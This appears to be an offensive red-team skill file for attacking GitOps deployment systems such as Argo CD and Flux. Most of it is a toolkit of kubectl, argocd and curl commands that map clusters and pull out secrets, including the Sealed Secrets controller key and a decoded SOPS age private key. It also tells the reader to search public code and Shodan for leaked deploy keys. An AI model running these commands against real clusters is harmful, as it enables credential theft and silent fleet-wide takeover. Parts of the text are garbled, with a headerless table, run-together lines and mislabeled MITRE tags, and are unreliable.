{"domain":"gitops","tool_count":16,"guide_count":2,"mitre":"TA0001-Initial Access, TA0003-Persistence, TA0004-Privilege Escalation, TA0005-Defense Evasion, TA0006-Credential Access, TA0009-Collection, T1190-Exploit Public-Facing Application, T1611-Escape to Host, T1525-Implant Internal Image, T1609-Container and Resource Discovery, T1613-Container and Resource Discovery, T1610-Deploy Container, T1611-Escape to Host","last_reviewed":"2026-08-17"}
GitOps Security Attack Skill
Red-team operations against GitOps control planes — the declarative CD layer that owns entire Kubernetes fleets. While adjacent skills cover the CI build side (ci-cd-supply-chain-attack) or container runtime (container-security), gitops-security targets the runtime reconciliation loop: the control plane that watches a Git source of truth and continuously reconciles thousands of clusters to that state. Compromise here = silent fleet-wide backdoor.
Summary
GitOps (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Argo Rollouts, Flux Helm Controller, Argo Image Updater) is the dominant Kubernetes continuous-deployment pattern of 2024-2026. The control plane holds:
Cluster-admin equivalent RBAC (it must, to deploy workloads)
Direct Git access with deploy keys / PATs across hundreds of repos
Cluster-API credentials to every production cluster it manages
A single GitOps compromise typically yields multi-cluster cluster-admin. This skill covers the full attack chain — recon against the control plane, repo impersonation, manifest tampering at every stage (commit → hook → render → apply → sync), RBAC bypass in CRD admission, secret-store compromise, and persistence via CRD backdoors that survive cluster rebuilds.
Private key = decrypt every sealed secret in Git history
SOPS (Mozilla / getsops)
AGE / GPG / cloud KMS encrypted YAML
Private key (or KMS grant) = decrypt all SOPS files
External Secrets Operator
Sync from Vault / AWS SM / GCP SM / Azure KV
Token / role = full secret-store access
HashiCorp Vault
Centralized secrets with dynamic leases
Root token / privileged role = full compromise
Cloud KMS / KMSabuse
Cloud-hosted key wrapping
KMS decrypt permission = unwrap all secrets
CSI Secrets Store
Pod-mounted secrets via kubelet
Driver pod compromise = hostPath of secrets
Offensive Toolkit
# Cluster enum
kubectl api-resources --verbs=list -o name | xargs -n1 kubectl get -o name
kubectl get applications -A -o yaml # Argo CD
kubectl get applicationsets -A -o yaml
kubectl get kustomizations -A -o yaml # Flux
kubectl get helmreleases -A -o yaml
kubectl get gitrepositories -A -o yaml
kubectl get bundles -A -o yaml # Fleet
kubectl get clustergroups -A -o yaml
kubectl get pipelines -A -o yaml # Tekton# Secret recovery
kubectl get secrets -A | grep -iE '(sealed|sops|age|vault|external)'
kubectl exec -n argocd argocd-server-xxx -- cat /app/config/argocd-cm-cm.yaml
kubectl get secret -n kube-system sealed-secrets-key -o yaml
kubectl get clustersecretstore -A -o yaml # External Secrets# Argo CD API
curl -sk https://argocd.example.com/api/v1/applications -H "Authorization: $ARGO_TOKEN"
argocd account get-user-info --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd app list --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd proj role get-default --server argocd.example.com
# Flux API (via kubectl proxy)
kubectl proxy --port=8001 &
curl -s http://localhost:8001/api/v1/namespaces/flux-system/services/http:notification-controller:80/http:/
# Helm reconciliation
flux logs --kind=HelmRelease -n flux-system --follow
flux get helmreleases -A
kubectl get events -n flux-system --field-selector reason=ReconciliationSucceeded
# Sealed Secrets recovery (controller access)
kubectl exec -n kube-system deploy/sealed-secrets-controller -- \
/bin/sh -c 'cat /tmp/$(ls /tmp | grep -E "^sealed-secret.*key")'# SOPS AGE key recovery
kubectl get secret -n flux-system sops-age -o yaml | yq -r '.data."age.agekey"' | base64 -d
Methodology
Phase 1 — Reconnaissance (External + Internal)
Identify the GitOps control plane, its version, RBAC model, and source-of-truth repos. From outside: fingerprint via /api/v1/, /-/healthy, default ports (2746 Argo, 9000-9090 Flux webhook). From inside a pod: enumerate CRDs (kubectl api-resources), find the controller namespace (kube-system, argocd, flux-system, fleet-system, tekton-pipelines).
Goal: produce a target map listing every Application / Kustomization / HelmRelease with its source repo, destination cluster, and sync policy.
Phase 2 — Source-of-Truth Compromise
The Git repo is the single source of truth — write access = fleet compromise. Attack vectors:
Leaked deploy SSH key / PAT — search GitHub code, gists, Shodan for argo-deploy, flux-deploy patterns
Mis-scoped token — Git provider token with repo:write instead of repo:read
Step B — Discover in-cluster GitOps (post-initial-access)
# List all GitOps CRDs
kubectl api-resources --api-group=argoproj.io
kubectl api-resources --api-group=fluxcd.io
kubectl api-resources --api-group=fleet.cattle.io
kubectl api-resources --api-group=tekton.dev
# Argo CD Applications with destination
kubectl get applications -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,DEST_NS:.spec.destination.namespace,DEST_CLUSTER:.spec.destination.server,REPO:.spec.source.repoURL,PATH:.spec.source.path
# Flux Kustomizations
kubectl get kustomizations -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,SOURCE:.spec.sourceRef.name,PATH:.spec.path,TARGET_NS:.spec.targetNamespace
# Flux HelmReleases
kubectl get helmreleases -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,CHART:.spec.chart.spec.chart,VERSION:.spec.chart.spec.version